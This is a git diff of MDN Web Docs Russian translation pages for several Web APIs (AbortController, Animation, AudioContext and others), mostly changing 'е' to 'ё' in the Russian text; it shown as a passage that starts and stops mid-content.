Событие DOM focus должно использовать только для получения информации о том, что произошёл фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте <code>element.focus()</code>.</p> <h6 id="Используйте_событие_onfocus_чтобы_отслеживать_фокус">Используйте событие onfocus чтобы отслеживать фокус</h6> diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html index e63497f6ee..733a758e3a 100644 --- a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html +++ b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html @@ -9,13 +9,13 @@ translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast --- <h2 id="Описание_проблемы">Описание проблемы</h2> -<p>Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своем сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.</p> +<p>Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своём сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.</p> <p>Пример хорошего контраста:<img alt="An example of good color contrast consisting of the words good contrast with a light purple background." src="https://mdn.mozillademos.org/files/16466/Screen_Shot_2019-02-04_at_5.31.23_PM.png" style="height: 310px; width: 810px;"></p> <p>Пример плохого контраста:<img alt="An example of bad color contrast consisting of the words bad contrast with a dark purple background." src="https://mdn.mozillademos.org/files/16467/Screen_Shot_2019-02-04_at_5.31.34_PM.png" style="height: 316px; width: 814px;"></p> -<p>Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определенными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.</p> +<p>Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определёнными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.</p> <h2 id="Связанные_с_WCAG_критерии_успеха">Связанные с WCAG критерии успеха</h2> diff --git a/files/ru/web/api/abortcontroller/index.html b/files/ru/web/api/abortcontroller/index.html index 4914b8ca76..07671c5722 100644 --- a/files/ru/web/api/abortcontroller/index.html +++ b/files/ru/web/api/abortcontroller/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/AbortController <dl> <dt>{{domxref("AbortController.AbortController()")}}</dt> - <dd>Создает новый экземпляр <code>AbortController</code>.</dd> + <dd>Создаёт новый экземпляр <code>AbortController</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -27,16 +27,16 @@ translation_of: Web/API/AbortController <dl> <dt>{{domxref("AbortController.abort()")}}</dt> - <dd>Прерывает DOM запрос до момента его завершения. Это дает возможность обрывать <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, потребителей любых ответов с {{domxref("Body")}} и потоки.</dd> + <dd>Прерывает DOM запрос до момента его завершения. Это даёт возможность обрывать <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, потребителей любых ответов с {{domxref("Body")}} и потоки.</dd> </dl> <h2 id="Примеры">Примеры</h2> <p>В текущем фрагменте мы пытаемся скачать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p> -<p>Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмем ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p> +<p>Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмём ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p> -<p>При инициализации <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запроса</a>, мы передаем <code>AbortSignal</code> в качестве параметра (смотрите ниже <code>{signal}</code>). Это ассоциирует сигнал и контроллер с fetch запросом и дает нам возможность остановить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.</p> +<p>При инициализации <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запроса</a>, мы передаём <code>AbortSignal</code> в качестве параметра (смотрите ниже <code>{signal}</code>). Это ассоциирует сигнал и контроллер с fetch запросом и даёт нам возможность остановить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.</p> <pre class="brush: js">var controller = new AbortController(); var signal = controller.signal; @@ -61,7 +61,7 @@ function fetchVideo() { }</pre> <div class="note"> -<p><strong>Заметка</strong>: При вызове <code>abort()</code>, промис <code>fetch()</code> будет отклонен с <code>AbortError</code>.</p> +<p><strong>Заметка</strong>: При вызове <code>abort()</code>, промис <code>fetch()</code> будет отклонён с <code>AbortError</code>.</p> </div> <p>Вы можете найти полный рабочий пример на GitHub — смотрите <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">и живой пример</a>).</p> diff --git a/files/ru/web/api/abortsignal/index.html b/files/ru/web/api/abortsignal/index.html index 1830282648..ea8d029224 100644 --- a/files/ru/web/api/abortsignal/index.html +++ b/files/ru/web/api/abortsignal/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/AbortSignal <dl> <dt>{{domxref("AbortSignal.aborted")}} {{readonlyInline}}</dt> - <dd>Это {{domxref("Boolean")}}, который указывает, отменен ли запрос(ы), с которым связывался сигнал, отменён (<code>true</code>) или нет (<code>false</code>).</dd> + <dd>Это {{domxref("Boolean")}}, который указывает, отменён ли запрос(ы), с которым связывался сигнал, отменён (<code>true</code>) или нет (<code>false</code>).</dd> </dl> <h3 id="Обработчики_событий">Обработчики событий</h3> diff --git a/files/ru/web/api/abstractworker/index.html b/files/ru/web/api/abstractworker/index.html index f7aa28428b..fc666b57c7 100644 --- a/files/ru/web/api/abstractworker/index.html +++ b/files/ru/web/api/abstractworker/index.html @@ -45,7 +45,7 @@ first.onchange = function() { console.log('Message posted to worker'); }</pre> -<p>Код воркера загружается из файла <code>"worker.js"</code>. В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная <code>first</code>. Для события {{domxref("change")}} элемента создается обработчик, поэтому когда пользователь изменяет значение для <code>first</code>, отправляется сообщение в воркер для уведомления его об данных изменениях.</p> +<p>Код воркера загружается из файла <code>"worker.js"</code>. В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная <code>first</code>. Для события {{domxref("change")}} элемента создаётся обработчик, поэтому когда пользователь изменяет значение для <code>first</code>, отправляется сообщение в воркер для уведомления его об данных изменениях.</p> <p>Вы можете найти больше примеров в репозитории MDN Web Docs на GitHub:</p> diff --git a/files/ru/web/api/ambient_light_events/index.html b/files/ru/web/api/ambient_light_events/index.html index 61b79484e6..c992706006 100644 --- a/files/ru/web/api/ambient_light_events/index.html +++ b/files/ru/web/api/ambient_light_events/index.html @@ -2,20 +2,20 @@ title: Ambient Light Events slug: Web/API/Ambient_Light_Events tags: - - Освещенность + - Освещённость translation_of: Web/API/Ambient_Light_Events --- <div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div> -<p>События "окружающего света" - удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путем изменения цветового контраста пользовательского интерфейса (UI) или путем изменения экспозиции, необходимой для фотографирования.</p> +<p>События "окружающего света" - удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путём изменения цветового контраста пользовательского интерфейса (UI) или путём изменения экспозиции, необходимой для фотографирования.</p> <h2 id="Световые_события">Световые события</h2> -<p>Когда датчик света устройства обнаруживает изменение уровня освещенности, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.</p> +<p>Когда датчик света устройства обнаруживает изменение уровня освещённости, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.</p> -<p>Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}} (используя имя события {{event("devicelight")}} ) или путем присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.</p> +<p>Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}} (используя имя события {{event("devicelight")}} ) или путём присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.</p> -<p>После того, как захвачен объект события дает доступ к интенсивности света, выраженного в <a href="http://en.wikipedia.org/wiki/Lux">lux</a> через свойство {{domxref("DeviceLightEvent.value")}}.</p> +<p>После того, как захвачен объект события даёт доступ к интенсивности света, выраженного в <a href="http://en.wikipedia.org/wiki/Lux">lux</a> через свойство {{domxref("DeviceLightEvent.value")}}.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/analysernode/getbytefrequencydata/index.html b/files/ru/web/api/analysernode/getbytefrequencydata/index.html index c042694040..94309ba833 100644 --- a/files/ru/web/api/analysernode/getbytefrequencydata/index.html +++ b/files/ru/web/api/analysernode/getbytefrequencydata/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/AnalyserNode/getByteFrequencyData <p>Данные частоты состоят из целых чисел по шкале от 0 до 255.</p> -<p>Каждый элемент в массиве представляет собой значение в децибелах для определенной частоты. Частоты распределены линейно от 0 до 1/2 частоты дискретизации. Например, для частоты дискретизации <code>48000</code> последний элемент массива будет представлять значение в децибелах для <code>24000</code> Гц.</p> +<p>Каждый элемент в массиве представляет собой значение в децибелах для определённой частоты. Частоты распределены линейно от 0 до 1/2 частоты дискретизации. Например, для частоты дискретизации <code>48000</code> последний элемент массива будет представлять значение в децибелах для <code>24000</code> Гц.</p> <p>Если в массиве меньше элементов, чем в {{domxref("AnalyserNode.frequencyBinCount")}}, лишние элементы удаляются. Если в нем больше элементов, чем необходимо, лишние элементы игнорируются.</p> diff --git a/files/ru/web/api/angle_instanced_arrays/index.html b/files/ru/web/api/angle_instanced_arrays/index.html index 558e053527..3f769d4c64 100644 --- a/files/ru/web/api/angle_instanced_arrays/index.html +++ b/files/ru/web/api/angle_instanced_arrays/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/ANGLE_instanced_arrays <p>Behaves identically to {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} except that multiple instances of the range of elements are executed, and the instance advances for each iteration.</p> </dd> <dt>{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}</dt> - <dd>Ведет себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором</dd> + <dd>Ведёт себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором</dd> <dt>{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}</dt> <dd> <p>Изменяет скорость продвижения общих атрибутов вершин при визуализации нескольких экземпляров примитивов с помощью {{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}} и {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}.</p> @@ -67,7 +67,7 @@ translation_of: Web/API/ANGLE_instanced_arrays <h2 id="Совместимость_браузеров">Совместимость браузеров</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте https://github.com/mdn/browser-compat-data и отправьте нам запрос.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте https://github.com/mdn/browser-compat-data и отправьте нам запрос.</p> <p>{{Compat("api.ANGLE_instanced_arrays")}}</p> diff --git a/files/ru/web/api/animation/index.html b/files/ru/web/api/animation/index.html index d1deb15f99..fbe650d434 100644 --- a/files/ru/web/api/animation/index.html +++ b/files/ru/web/api/animation/index.html @@ -11,33 +11,33 @@ translation_of: Web/API/Animation <dl> <dt>{{domxref("Animation.Animation()", "Animation()")}}</dt> - <dd>Создает новый экземпляр объекта <code>Animation.</code></dd> + <dd>Создаёт новый экземпляр объекта <code>Animation.</code></dd> </dl> <h2 id="Свойства">Свойства</h2> <dl> <dt>{{domxref("Animation.currentTime")}}</dt> - <dd>Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или еще не воспроизведена, то это значение равно нулю.</dd> + <dd>Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или ещё не воспроизведена, то это значение равно нулю.</dd> </dl> <dl> <dt>{{domxref("Animation.effect")}}</dt> - <dd>Возвращает и задает {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.</dd> + <dd>Возвращает и задаёт {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.</dd> <dt>{{domxref("Animation.finished")}} {{readOnlyInline}}</dt> - <dd>Возвращает текущее завершенное Promise(обещание) для этой анимации.</dd> + <dd>Возвращает текущее завершённое Promise(обещание) для этой анимации.</dd> </dl> <dl> <dt>{{domxref("Animation.id")}}</dt> - <dd>Возвращает и задает String(строку), используемую для идентификации анимации.</dd> + <dd>Возвращает и задаёт String(строку), используемую для идентификации анимации.</dd> <dt>{{domxref("Animation.playState")}} {{readOnlyInline}}</dt> <dd>Возвращает перечисляемое значение, описывающее состояние воспроизведения анимации.</dd> </dl> <dl> <dt>{{domxref("Animation.playbackRate")}}</dt> - <dd>Возвращает или задает скорость воспроизведения анимации.</dd> + <dd>Возвращает или задаёт скорость воспроизведения анимации.</dd> </dl> <dl> @@ -47,21 +47,21 @@ translation_of: Web/API/Animation <dl> <dt>{{domxref("Animation.startTime")}}</dt> - <dd>Возвращает или задает начало выполнения анимации.</dd> + <dd>Возвращает или задаёт начало выполнения анимации.</dd> </dl> <dl> <dt>{{domxref("Animation.timeline")}}</dt> - <dd>Возвращает или задает {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.</dd> + <dd>Возвращает или задаёт {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.</dd> </dl> <h3 id="Обработчики_событий">Обработчики событий</h3> <dl> <dt>{{domxref("Animation.oncancel")}}</dt> - <dd>Возвращает и задает обработчик событий для отмены события.</dd> + <dd>Возвращает и задаёт обработчик событий для отмены события.</dd> <dt>{{domxref("Animation.onfinish")}}</dt> - <dd>Возвращает и задает обработчик событий для завершения события.</dd> + <dd>Возвращает и задаёт обработчик событий для завершения события.</dd> </dl> <h2 id="Методы">Методы</h2> @@ -70,7 +70,7 @@ translation_of: Web/API/Animation <dt>{{domxref("Animation.cancel()")}}</dt> <dd>Очищает все {{domxref("KeyframeEffect", "keyframeEffects")}} вызванные этой анимацией и прекращает его выполнение.</dd> <dt>{{domxref("animation.commitStyles()")}}</dt> - <dd>Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведет к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.</dd> + <dd>Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведёт к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.</dd> </dl> <dl> @@ -94,7 +94,7 @@ translation_of: Web/API/Animation <dt>{{domxref("Animation.reverse()")}}</dt> <dd>Меняет направление воспроизведения, останавливаясь в начале анимации. Если анимация закончена или не запущена, то будет проигрываться с конца к началу.</dd> <dt>{{domxref("Animation.updatePlaybackRate()")}}</dt> - <dd>Задает скорость анимации после синхронизации ее положения воспроизведения.</dd> + <dd>Задаёт скорость анимации после синхронизации её положения воспроизведения.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/attr/index.html b/files/ru/web/api/attr/index.html index 303090a17a..c8e1ce971a 100644 --- a/files/ru/web/api/attr/index.html +++ b/files/ru/web/api/attr/index.html @@ -17,23 +17,23 @@ translation_of: Web/API/Attr <dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt> <dd>Имя атрибута.</dd> <dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt> - <dd>{{domxref("DOMString")}}<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font>представление URI пространства имен атрибута, или NULL если нет никакого пространства имен.</dd> + <dd>{{domxref("DOMString")}}<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font>представление URI пространства имён атрибута, или NULL если нет никакого пространства имен.</dd> <dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt> <dd>{{domxref("DOMString")}} представление локальной части полного имени атрибута.</dd> <dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt> - <dd>{{domxref("DOMString")}} представление префикс пространства имен атрибута, или NULL, если префикс не указан.</dd> + <dd>{{domxref("DOMString")}} представление префикс пространства имён атрибута, или NULL, если префикс не указан.</dd> <dt>{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}</dt> <dd> <p>Элемент, содержащий атрибут.</p> <div class="note"> - <p><strong>Примечание:</strong> DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент. Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввел это свойство. </p> + <p><strong>Примечание:</strong> DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент. Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввёл это свойство. </p> <p>Gecko выводит предупреждение об использовании, начиная с Gecko 7.0 {{geckoRelease("7.0")}}. Это предупреждение было удалено в Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46).</p> </div> </dd> <dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt> - <dd>Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определен в исходном коде или сценарием и false, если ее значение прибыло из значения по умолчанию определенном в DTD документе.</dd> + <dd>Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определён в исходном коде или сценарием и false, если её значение прибыло из значения по умолчанию определённом в DTD документе.</dd> <dt>{{domxref("Attr.value", "value")}}</dt> <dd>Значение атрибута</dd> </dl> @@ -74,7 +74,7 @@ translation_of: Web/API/Attr <dt><code>previousSibling</code></dt> <dd>Это свойство всегда возвращает значение <code>NULL</code>.</dd> <dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt> - <dd>Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадежным, если узел был перемещен.</dd> + <dd>Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадёжным, если узел был перемещен.</dd> <dt> </dt> <dt><code>specified</code></dt> <dd>Это свойство всегда возвращает значение <code>true</code>.</dd> diff --git a/files/ru/web/api/audiobuffer/index.html b/files/ru/web/api/audiobuffer/index.html index b2972a1f78..f2d6e5e0e4 100644 --- a/files/ru/web/api/audiobuffer/index.html +++ b/files/ru/web/api/audiobuffer/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/AudioBuffer <div> <h2 id="Сводка">Сводка</h2> -<p><code>AudioBuffer</code> - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в {{ domxref("AudioBufferSourceNode") }}.</p> +<p><code>AudioBuffer</code> - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещённые в AudioBuffer звуковые данные могут быть воспроизведены в {{ domxref("AudioBufferSourceNode") }}.</p> </div> <p>Объекты этого типа предназначены для хранения небольших звуковых фрагментов, обычно менее 45 секунд. Для более длинных звуков, объекты реализующие {{domxref("MediaElementAudioSourceNode")}} являются более подходящими. Этот буфер содержит данные в формате неперемещаемого IEE754 32-битного линейного ИКМ с номинальным диапазоном от -1 до +1, то есть 32-битный буфер с плавающей точкой каждого звукового фрагмента (samples) от -1.0 до 1.0. Если {{domxref("AudioBuffer")}} имеет несколько каналов, то они хранятся в отдельном буфере.</p> @@ -17,7 +17,7 @@ translation_of: Web/API/AudioBuffer <dl> <dt>{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}</dt> - <dd><span class="hidden"> </span>Создает и возвращает новый объект <code>AudioBuffer</code>.</dd> + <dd><span class="hidden"> </span>Создаёт и возвращает новый объект <code>AudioBuffer</code>.</dd> <dt> <h2 id="Свойства"><span class="hidden"> </span>Свойства</h2> </dt> @@ -49,7 +49,7 @@ translation_of: Web/API/AudioBuffer <pre class="brush: js;highlight:[7,14,27]">// Стерео var channels = 2; -// Создает пустой двухсекундный стерео-буфер +// Создаёт пустой двухсекундный стерео-буфер // с частотой звука AudioContext (sample rate) var frameCount = audioCtx.sampleRate * 2.0; var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate); diff --git a/files/ru/web/api/audiocontext/createmediaelementsource/index.html b/files/ru/web/api/audiocontext/createmediaelementsource/index.html index 87e504f6c6..6693ef14dc 100644 --- a/files/ru/web/api/audiocontext/createmediaelementsource/index.html +++ b/files/ru/web/api/audiocontext/createmediaelementsource/index.html @@ -42,11 +42,11 @@ var myScript = document.querySelector('script'); pre.innerHTML = myScript.innerHTML; -// Создаем MediaElementAudioSourceNode +// Создаём MediaElementAudioSourceNode // На основе HTMLMediaElement var source = audioCtx.createMediaElementSource(myAudio); -// Создаем узел контроля громкости (усиления) +// Создаём узел контроля громкости (усиления) var gainNode = audioCtx.createGain(); // Переменные, содержащие Y координату курсора мыши diff --git a/files/ru/web/api/audiocontext/index.html b/files/ru/web/api/audiocontext/index.html index 17b32839d0..ad057ccfe6 100644 --- a/files/ru/web/api/audiocontext/index.html +++ b/files/ru/web/api/audiocontext/index.html @@ -66,7 +66,7 @@ translation_of: Web/API/AudioContext <dt>{{domxref("AudioContext.createOscillator()")}}</dt> <dd>Создаёт объект {{domxref("OscillatorNode")}}, источник, представляющий собой периодическую волну звукового сигнала.</dd> <dt>{{domxref("AudioContext.createPanner()")}}</dt> - <dd>Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трехмерном пространстве.</dd> + <dd>Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трёхмерном пространстве.</dd> <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt> <dd>Создаёт объект {{domxref("PeriodicWave")}}, используемый для определения периодической волны звукового сигнала, которая, в свою очередь, используется для определения вывода в {{ domxref("OscillatorNode") }}.</dd> <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt> diff --git a/files/ru/web/api/audionode/index.html b/files/ru/web/api/audionode/index.html index f4b7693230..57b2f450a2 100644 --- a/files/ru/web/api/audionode/index.html +++ b/files/ru/web/api/audionode/index.html @@ -4,7 +4,7 @@ slug: Web/API/AudioNode translation_of: Web/API/AudioNode --- <p>{{ APIRef("Web Audio API") }}<br> - <strong>AudioNode </strong>это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приемники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). </p> + <strong>AudioNode </strong>это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приёмники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). </p> <p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="display: block; height: 230px; margin: 0px auto; width: 677px;"></p> @@ -25,7 +25,7 @@ translation_of: Web/API/AudioNode <dl> <dt>{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt> - <dd>Возвращает количество входов узла. Узлы определенные как источники имеют <code>numberOfInputs</code> равное 0.</dd> + <dd>Возвращает количество входов узла. Узлы определённые как источники имеют <code>numberOfInputs</code> равное 0.</dd> </dl> <dl> @@ -56,7 +56,7 @@ translation_of: Web/API/AudioNode <dt>{{domxref("AudioNode.connect(AudioParam)")}}</dt> <dd>Позволяет нам подключить один выход данного узла на параметрический вход другого.</dd> <dt>{{domxref("AudioNode.disconnect()")}}</dt> - <dd>Позволяет нам отключить текущий узел от другого, уже подключенного узла.</dd> + <dd>Позволяет нам отключить текущий узел от другого, уже подключённого узла.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html index f60d3e7d99..202e13d971 100644 --- a/files/ru/web/api/audioparam/setvalueattime/index.html +++ b/files/ru/web/api/audioparam/setvalueattime/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/AudioParam/setValueAtTime --- <p>{{ APIRef("Web Audio API") }}</p> -<p class="summary"><code>setValueAtTime()</code> метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение <code>AudioParam</code> , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение дается в значении параметра.</p> +<p class="summary"><code>setValueAtTime()</code> метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение <code>AudioParam</code> , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение даётся в значении параметра.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/baseaudiocontext/createpanner/index.html b/files/ru/web/api/baseaudiocontext/createpanner/index.html index 83a8089d44..9d4161e184 100644 --- a/files/ru/web/api/baseaudiocontext/createpanner/index.html +++ b/files/ru/web/api/baseaudiocontext/createpanner/index.html @@ -24,13 +24,13 @@ var panner = audioCtx.createPanner();</pre> <h2 id="Пример">Пример</h2> <div class="note_trans"> -<div>Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода <code>createPanner()</code> для управления пространством объемного звука. Обычно определяется положение в трехмерном пространстве, изначально занимаемое обработчиком (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями <code>moveRight()</code>, <code>moveLeft()</code>, и т.п., которые устанавливают новые значения для положения паннера через функцию <code>PositionPanner()</code>.</div> +<div>Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода <code>createPanner()</code> для управления пространством объёмного звука. Обычно определяется положение в трёхмерном пространстве, изначально занимаемое обработчиком (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями <code>moveRight()</code>, <code>moveLeft()</code>, и т.п., которые устанавливают новые значения для положения паннера через функцию <code>PositionPanner()</code>.</div> <div> </div> <div> <div class="note_trans"> -<div>Чтобы увидеть полную реализацию ознакомьтесь с нашим <a href="https://mdn.github.io/webaudio-examples/panner-node/">примером panner-node</a> (<a href="https://mdn.github.io/webaudio-examples/">просмотрите весь список примеров</a>) — эта демонстрация перенесет вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на <a class="popupspot">бумбоксе</a> и затем походить вокруг него и посмотреть как изменяется звук!</div> +<div>Чтобы увидеть полную реализацию ознакомьтесь с нашим <a href="https://mdn.github.io/webaudio-examples/panner-node/">примером panner-node</a> (<a href="https://mdn.github.io/webaudio-examples/">просмотрите весь список примеров</a>) — эта демонстрация перенесёт вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на <a class="popupspot">бумбоксе</a> и затем походить вокруг него и посмотреть как изменяется звук!</div> <div> </div> </div> diff --git a/files/ru/web/api/beacon_api/index.html b/files/ru/web/api/beacon_api/index.html index 